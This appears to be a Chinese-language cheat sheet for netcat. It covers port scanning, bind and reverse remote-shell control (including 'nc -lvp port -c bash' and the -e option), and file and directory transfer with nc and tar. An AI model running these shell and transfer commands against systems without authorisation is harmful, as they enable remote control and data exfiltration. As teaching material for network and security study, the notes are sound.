扫描
指定一个端口
➜ Desktop nc -nvzw3 192.168.0.124 5002Connection to 192.168.0.124 5002 port [tcp/*] succeeded!
指定端口范围
➜ Desktop nc -nvzw3 192.168.0.124 5000-5002nc: connect to 192.168.0.124 port 5000 (tcp) timed out: Operation now in progressnc: connect to 192.168.0.124 port 5001 (tcp) timed out: Operation now in progressConnection to 192.168.0.124 5002 port [tcp/*] succeeded!
参数说明
-n 不需要执行域名解析-v 打印详细信息-z 不发送数据包-w 超时时间
控制
语法
# 被控方
nc -lvp 端口 -c bash
# 主控方
nc 被控机组的IP 端口
# 命令解释
-lp 监听的端口
-c Linux返回的shell, -e Windows返回的shell
-v 显示详细信息
示例
主动连接,被控方监听端口,并返回自己的shell,一旦被连接救恩那个控制了
被动连接,主控方监听一个端口,被控方发起连接,然后将自己的shell返回,这样就能被控制了
如何判断被控端???
谁交出了shell,谁就是被控端
传输
文件传输
语法
# 上传文件
nc -lvp 10000 < test.txt -q 3
# 接收文件
nc ip port > test.txt
# 参数说明
-q 后面接时间,单位是秒,表示文件传输成功后就关闭连接,所以-q只能跟在文件上传一端的命令上
< 上传文件
> 下载文件
示例
文件夹传输
语法
# upload
tar -czvf - directory | nc ip port -q 1
# download
nc -lvp port | tar -xzvf -
示例
